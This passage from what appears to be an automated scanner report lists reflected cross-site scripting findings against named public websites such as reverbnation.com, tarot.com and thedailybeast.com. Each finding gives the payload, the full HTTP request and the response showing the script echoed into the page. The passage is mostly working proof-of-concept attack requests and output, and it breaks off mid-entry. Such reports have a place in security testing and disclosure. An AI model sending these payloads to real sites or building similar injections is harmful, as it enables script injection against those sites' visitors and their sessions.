This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /favicon.ico3eefb<img%20src%3da%20onerror%3dalert(1)>8088e5a0514 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.reverbnation.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found
Date: Sat, 02 Apr 2011 13:41:53 GMT
Server: Apache/2.2.15 (Unix) mod_ssl/2.2.15 OpenSSL/0.9.8n-fips Phusion_Passenger/3.0.4
X-Powered-By:
Cache-Control: no-cache
Set-Cookie: _session_id=bdfe329ab8b312ccf2f484a799176e11; domain=reverbnation.com; path=/; HttpOnly
Content-Length: 21673
Status: 404 Not Found
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
Set-Cookie: BIGipServerCust15535_http_new=4032917968.20480.0000; path=/

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<
...[SNIP]...
<a href="/main/global_search?q=favicon.ico3eefb%3Cimg+src%3Da+onerror%3Dalert%281%29%3E8088e5a0514" rel="nofollow">Search for 'favicon.ico3eefb<img src=a onerror=alert(1)>8088e5a0514'</a>
...[SNIP]...

6.83. http://www.shangri-la.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.shangri-la.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 682d8'%3b026f574dde7 was submitted in the REST URL parameter 1. This input was echoed as 682d8';026f574dde7 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /favicon.ico682d8'%3b026f574dde7 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.shangri-la.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found
Server: Microsoft-IIS/6.0
X-WebServer-By: WEB02
X-Powered-By: ASP.NET
Access-Control-Allow-Origin: http://www.shangri-la.com
X-AspNet-Version: 2.0.50727
Content-Type: text/html; charset=utf-8
Content-Length: 15288
Vary: Accept-Encoding
Cache-Control: private, max-age=60
Date: Sat, 02 Apr 2011 13:45:21 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphpr
...[SNIP]...
<script type="text/javascript">
   var share_page_data={};
   share_page_data.page_url = 'http://www.shangri-la.com/Error404.aspx?404;http://www.shangri-la.com:80/favicon.ico682d8';026f574dde7';
   share_page_data.page_name = "Page Not Found";
</script>
...[SNIP]...

6.84. http://www.shopcompanion.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.shopcompanion.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 1ca3b<img%20src%3da%20onerror%3dalert(1)>4816534cea1 was submitted in the REST URL parameter 1. This input was echoed as 1ca3b<img src=a onerror=alert(1)>4816534cea1 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /1ca3b<img%20src%3da%20onerror%3dalert(1)>4816534cea1 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.shopcompanion.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Server: AMOS/1.0
Date: Sat, 02 Apr 2011 14:01:14 GMT
Content-Type: text/html; charset=ISO-8859-1
P3P: policyref="/w3c/p3p.xml", CP="IDC DSP COR NID CURa OUR NOR PHY UNI DEM PRE"
Set-Cookie: AMOS_SID=_live_ticks%3D1301752873832%26live%3DOEzzw%252Eh~XWhkUXWWzxjwVzhxexzYwVqzjWYUkqWwwmXezhmzm; Path=/; Domain=.shopcompanion.com;
Set-Cookie: AMOS_NS_ID=048; Path=/; Domain=.shopcompanion.com;
Set-Cookie: CC_SRCID=369; Path=/; Domain=www.shopcompanion.com;
Set-Cookie: AMID=2232139994; Path=/; Domain=.shopcompanion.com; Expires=Tuesday, 01-Jan-38 00:00:01 GMT
Set-Cookie: CATALOGCITY_SSNLIVE111=2232139994; Path=/; Domain=.shopcompanion.com;
Set-Cookie: SHOPPER_LOCATION=Monterey%2C+CA%2C+93940%2C+36%2E600111%2C+-121%2E894521%2C+30; Path=/; Domain=www.shopcompanion.com;
Content-Length: 107216

<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<link rel="stylesheet" t
...[SNIP]...
<span class="span tx_bold">> 1ca3b<img src=a onerror=alert(1)>4816534cea1</span>
...[SNIP]...

6.85. http://www.smarter.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.smarter.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload c2201<a>26331e04736 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /c2201<a>26331e04736 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.smarter.com
Accept: */*
Proxy-Connection: Keep-Alive

Response (redirected)

HTTP/1.1 200 OK
Date: Sat, 02 Apr 2011 13:33:23 GMT
Server: Apache
Loader-Time-Used: 0.00018
Set-Cookie: __mmsid=d9c2a77556a5d7bf53b16231f5cfac85; path=/; domain=.smarter.com
Set-Cookie: __mmspn=deleted; expires=Fri, 02-Apr-2010 13:33:22 GMT; path=/; domain=.smarter.com
Set-Cookie: __mmoff=deleted; expires=Fri, 02-Apr-2010 13:33:22 GMT; path=/; domain=.smarter.com
Set-Cookie: __mmuid=66a6612fe3ea8c94b39704425bd47fba; expires=Sat, 02-Apr-2016 13:33:23 GMT; path=/; domain=.smarter.com
Set-Cookie: __mmtrk=-1|||3|4ecd93f7c006897fc2035eac37f86a5b|AwA%3D|0y9O1dUtLNRNNjIyMFQ1MjV2TgSRrkZmxsaGqQYm5sZmehkluTkA; path=/; domain=.smarter.com
Set-Cookie: qry_lnk=deleted; expires=Fri, 02-Apr-2010 13:33:23 GMT; path=/; domain=.smarter.com
Set-Cookie: qry_ctxt=deleted; expires=Fri, 02-Apr-2010 13:33:23 GMT; path=/; domain=.smarter.com
Vary: Accept-Encoding,User-Agent
Content-Type: text/html
Content-Length: 93179

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title> c2201<A>26331e04736
...[SNIP]...
<h2>How to Shop Smarter for c2201<a>26331e04736: </h2>
...[SNIP]...

6.86. http://www.soft82.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.soft82.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 99137<script>alert(1)</script>cb264ab5f87 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.ico99137<script>alert(1)</script>cb264ab5f87 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.soft82.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found
Date: Sat, 02 Apr 2011 14:16:15 GMT
Server: Apache/1.3.42 (Unix) PHP/5.3.4 mod_log_bytes/1.2 mod_bwlimited/1.4 mod_ssl/2.8.31 OpenSSL/0.9.8e-fips-rhel5
X-Powered-By: PHP/5.3.4
Set-Cookie: PHPSESSID=d833dc533a466d6bfc13ec777b9775ab; path=/; domain=.soft82.com
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html
Content-Length: 87349

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<BASE href="http://www.soft82.com/">
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<title>
...[SNIP]...
<strong>www.soft82.com/favicon.ico99137<script>alert(1)</script>cb264ab5f87</strong>
...[SNIP]...

6.87. http://www.songmeanings.net/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.songmeanings.net
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7297a"-alert(1)-"4c63be965d1 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.ico7297a"-alert(1)-"4c63be965d1 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.songmeanings.net
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Server: nginx
Date: Sat, 02 Apr 2011 14:14:05 GMT
Content-Type: text/html
Connection: keep-alive
Vary: Accept-Encoding
X-Powered-By: PHP/5.3.3
Set-Cookie: PHPSESSID=8v774711o8lea5jaf5624ak142; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 23886

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">

<head>
   <ti
...[SNIP]...
<script type="text/javascript">
// Note: it's important to keep these in separate script blocks
COMSCORE.beacon({
   c1: 2,
   c2: "6772046",
   c3: "",
   c4: "http://www.songmeanings.net/favicon.ico7297a"-alert(1)-"4c63be965d1", // Replace this with the page URL that the site is on here, and also enter it into the <noscript>
...[SNIP]...

6.88. http://www.songmeanings.net/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.songmeanings.net
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 427ff"><script>alert(1)</script>13601e9ef95 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.ico427ff"><script>alert(1)</script>13601e9ef95 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.songmeanings.net
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Server: nginx
Date: Sat, 02 Apr 2011 14:13:57 GMT
Content-Type: text/html
Connection: keep-alive
Vary: Accept-Encoding
X-Powered-By: PHP/5.3.3
Set-Cookie: PHPSESSID=c3e6n99ocvojajgu9q9r37uep5; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 23916

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">

<head>
<ti
...[SNIP]...
<img src="http://b.scorecardresearch.com/p?c1=2&c2=6772046&c3=&c4=www.songmeanings.net/favicon.ico427ff"><script>alert(1)</script>13601e9ef95&c5=&c6=&c15=&cj=1" />
...[SNIP]...

6.89. http://www.spike.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.spike.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 78520"><script>alert(1)</script>dd39ddafe43 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.ico78520"><script>alert(1)</script>dd39ddafe43 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.spike.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found
Server: Apache/2.0.63 (Unix) PHP/5.3.2
X-Powered-By: PHP/5.3.2
Content-Type: text/html;charset=utf-8
Cache-Control: max-age=1800
Date: Sat, 02 Apr 2011 13:31:44 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: ak-mobile-detected=no; expires=Sat, 02-Apr-2011 19:31:44 GMT; path=/
Vary: User-Agent
Content-Length: 33753

   <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

   <head>
       <meta http-equiv="
...[SNIP]...
<script src="http://repo.comedycentral.com/feeds/init/spike.com?url=/favicon.ico78520"><script>alert(1)</script>dd39ddafe43&pageType=&cmsPageId=&show=&title=&season=&photoTitle=&spikeTvShow=&channel=" type="text/javascript">
...[SNIP]...

6.90. http://www.supercheats.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.supercheats.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c0247"%3balert(1)//9ef130d939d was submitted in the REST URL parameter 1. This input was echoed as c0247";alert(1)//9ef130d939d in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.icoc0247"%3balert(1)//9ef130d939d HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.supercheats.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found
Date: Sat, 02 Apr 2011 13:43:02 GMT
Server: Apache
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html
Content-Length: 15900

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
<script>

COMSCORE.beacon({

c1:2,

c2:"6035764",

c3:"",

c4:"http://www.supercheats.com/favicon.icoc0247";alert(1)//9ef130d939d",

c5:"",

c6:"",

c15:""

});

</script>
...[SNIP]...

6.91. http://www.tarot.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.tarot.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e3ca5'-alert(1)-'190ef52e03b was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.icoe3ca5'-alert(1)-'190ef52e03b HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.tarot.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found
Date: Sat, 02 Apr 2011 14:15:10 GMT
Server: Apache/2.2.8 (Unix) PHP/5.2.5 mod_ssl/2.2.8 OpenSSL/0.9.7a
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Last-Modified: Sat, 02 Apr 2011 14:15:10 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: PHPSESSID=rkucms4dupord0ov1fcq4vql54; expires=Sun, 01 Apr 2012 14:15:10 GMT; path=/; domain=.tarot.com
Set-Cookie: BCKPHPSESSID=rkucms4dupord0ov1fcq4vql54; expires=Sat, 23-Apr-2011 14:15:10 GMT; path=/
Set-Cookie: userStatObj=Tzo4OiJ1c2VyRGF0YSI6Nzp7czoxMToiY29va2llX25hbWUiO3M6MTE6InVzZXJTdGF0T2JqIjtzOjk6Im1lbWJlcl9pZCI7aTowO3M6MTM6InJlZmVycmVkX2Zyb20iO2E6MDp7fXM6MTA6Imxhc3RfdmlzaXQiO2k6MTMwMTc1MzcxMDtzOjk6Im5vX3Zpc2l0cyI7aToxO3M6MTg6Im5vX3NhbXBsZV9yZWFkaW5ncyI7aTowO3M6MTg6Im5vX2V4cGVydF9yZWFkaW5ncyI7aTowO30%253D; expires=Fri, 01-Jul-2011 14:15:10 GMT; path=/; domain=www.tarot.com
Set-Cookie: luser=rkucms4dupord0ov1fcq4vql54%3A0%3A%3A%3A; expires=Fri, 01-Jul-2011 14:15:10 GMT; path=/; domain=www.tarot.com
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
Content-Length: 26394

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
<link rel="SHORTCUT ICON" href="/favicon.ico">
<!-- ####################################
/favicon.icoe3ca5'-alert(1)-'190ef
...[SNIP]...

var random3 = Math.round( Math.random() * 5000230 );

       var URL = ''
           + '&sid=rkucms4dupord0ov1fcq4vql54'
           + '&uid='
           + '&pid=a-self-no'
           + '&site=tarot'
           + '&pg=/favicon.icoe3ca5'-alert(1)-'190ef52e03b'
           + '&pq='
           + '&rf='
           + '&ftr='
           + '&rq='
           + '&res=' + screen.width + 'x' + screen.height
           + '&col=' + c
           + '&brws=' + escape(navigator.appName)
           + '&brv=' + escape(navigator.appVersio
...[SNIP]...

6.92. http://www.tarot.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.tarot.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload 2e1a2--><script>alert(1)</script>539e602d394 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.ico2e1a2--><script>alert(1)</script>539e602d394 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.tarot.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found
Date: Sat, 02 Apr 2011 14:15:12 GMT
Server: Apache/2.2.8 (Unix) PHP/5.2.5 mod_ssl/2.2.8 OpenSSL/0.9.7a
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Last-Modified: Sat, 02 Apr 2011 14:15:12 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: PHPSESSID=768ks8blt3b6jg5qpk26lbenk6; expires=Sun, 01 Apr 2012 14:15:12 GMT; path=/; domain=.tarot.com
Set-Cookie: BCKPHPSESSID=768ks8blt3b6jg5qpk26lbenk6; expires=Sat, 23-Apr-2011 14:15:12 GMT; path=/
Set-Cookie: userStatObj=Tzo4OiJ1c2VyRGF0YSI6Nzp7czoxMToiY29va2llX25hbWUiO3M6MTE6InVzZXJTdGF0T2JqIjtzOjk6Im1lbWJlcl9pZCI7aTowO3M6MTM6InJlZmVycmVkX2Zyb20iO2E6MDp7fXM6MTA6Imxhc3RfdmlzaXQiO2k6MTMwMTc1MzcxMztzOjk6Im5vX3Zpc2l0cyI7aToxO3M6MTg6Im5vX3NhbXBsZV9yZWFkaW5ncyI7aTowO3M6MTg6Im5vX2V4cGVydF9yZWFkaW5ncyI7aTowO30%253D; expires=Fri, 01-Jul-2011 14:15:13 GMT; path=/; domain=www.tarot.com
Set-Cookie: luser=768ks8blt3b6jg5qpk26lbenk6%3A0%3A%3A%3A; expires=Fri, 01-Jul-2011 14:15:13 GMT; path=/; domain=www.tarot.com
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
Content-Length: 26531

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
<link rel="SHORTCUT ICON" href="/favicon.ico">
<script>alert(1)</script>539e602d394
copyright 1999-2011, Visionary Networks
10.3.1.24
#################################### -->
...[SNIP]...

6.93. http://www.tarot.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.tarot.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b6937"><script>alert(1)</script>27a4d5e9b5 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.icob6937"><script>alert(1)</script>27a4d5e9b5 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.tarot.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found
Date: Sat, 02 Apr 2011 14:15:06 GMT
Server: Apache/2.2.8 (Unix) PHP/5.2.5 mod_ssl/2.2.8 OpenSSL/0.9.7a
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Last-Modified: Sat, 02 Apr 2011 14:15:06 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: PHPSESSID=rkh1871d7jsqqnuv8sjhgil1f0; expires=Sun, 01 Apr 2012 14:15:07 GMT; path=/; domain=.tarot.com
Set-Cookie: BCKPHPSESSID=rkh1871d7jsqqnuv8sjhgil1f0; expires=Sat, 23-Apr-2011 14:15:07 GMT; path=/
Set-Cookie: userStatObj=Tzo4OiJ1c2VyRGF0YSI6Nzp7czoxMToiY29va2llX25hbWUiO3M6MTE6InVzZXJTdGF0T2JqIjtzOjk6Im1lbWJlcl9pZCI7aTowO3M6MTM6InJlZmVycmVkX2Zyb20iO2E6MDp7fXM6MTA6Imxhc3RfdmlzaXQiO2k6MTMwMTc1MzcwNztzOjk6Im5vX3Zpc2l0cyI7aToxO3M6MTg6Im5vX3NhbXBsZV9yZWFkaW5ncyI7aTowO3M6MTg6Im5vX2V4cGVydF9yZWFkaW5ncyI7aTowO30%253D; expires=Fri, 01-Jul-2011 14:15:07 GMT; path=/; domain=www.tarot.com
Set-Cookie: luser=rkh1871d7jsqqnuv8sjhgil1f0%3A0%3A%3A%3A; expires=Fri, 01-Jul-2011 14:15:07 GMT; path=/; domain=www.tarot.com
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
Content-Length: 26518

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
<link rel="SHORTCUT ICON" href="/favicon.ico">
<!-- ####################################
/favicon.icob6937"><script>alert(1
...[SNIP]...
<INPUT TYPE="hidden" NAME="returnUrl" VALUE="/favicon.icob6937"><script>alert(1)</script>27a4d5e9b5">
...[SNIP]...

6.94. http://www.thedailybeast.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.thedailybeast.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4df34"><script>alert(1)</script>277514e1af2 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.ico4df34"><script>alert(1)</script>277514e1af2 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.thedailybeast.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: PHP/5.1.6
Content-Type: text/html; charset=UTF-8
Date: Sat, 02 Apr 2011 13:40:14 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 60091

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Conten
...[SNIP]...
<link rel="canonical" href="http://www.thedailybeast.com/favicon.ico4df34"><script>alert(1)</script>277514e1af2"/>
...[SNIP]...

6.95. http://www.thedailyshow.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.thedailyshow.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c4544"><script>alert(1)</script>da6a196bf6a was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.icoc4544"><script>alert(1)</script>da6a196bf6a HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.thedailyshow.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found
Server: Apache/2.0.63 (Unix) PHP/5.3.1
X-Powered-By: PHP/5.3.1
Content-Type: text/html;charset=utf-8
Content-Length: 26317
Cache-Control: max-age=1800
Date: Sat, 02 Apr 2011 13:31:49 GMT
Connection: close

   <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
   <head>
       <title></title>
       <meta name="description" content=
...[SNIP]...
<link rel="canonical" href="http://www.thedailyshow.com/favicon.icoc4544"><script>alert(1)</script>da6a196bf6a" />
...[SNIP]...

6.96. http://www.thehollywoodgossip.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.thehollywoodgossip.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c583c"><script>alert(1)</script>086663f75c8 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /favicon.icoc583c"><script>alert(1)</script>086663f75c8 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.thehollywoodgossip.com
Accept: */*
Proxy-Connection: Keep-Alive

Response (redirected)

HTTP/1.1 404 Not Found
Date: Sat, 02 Apr 2011 13:40:10 GMT
Server: Apache/2.2.3 (Red Hat)
Set-Cookie: fullsite=true; path=/; domain=.thehollywoodgossip.com; expires=Sat, 02-Apr-2011 14:40:10 GMT
Set-Cookie: mut=173.193.214.243.1301751610082221; path=/; expires=Sat, 30-Apr-11 13:40:10 GMT; domain=.thehollywoodgossip.com
X-Powered-By: PHP/5.1.6
Set-Cookie: PHPSESSID=kcfer0dro823m5qhqakd4rpij2; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: User-Agent,Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 20009

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2
...[SNIP]...
<link rel="canonical" href="http://www.thehollywoodgossip.com/favicon.icoc583c"><script>alert(1)</script>086663f75c8/" />
...[SNIP]...

6.97. http://www.thirdage.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.thirdage.com
Path:	/favicon.ico

Issue detail

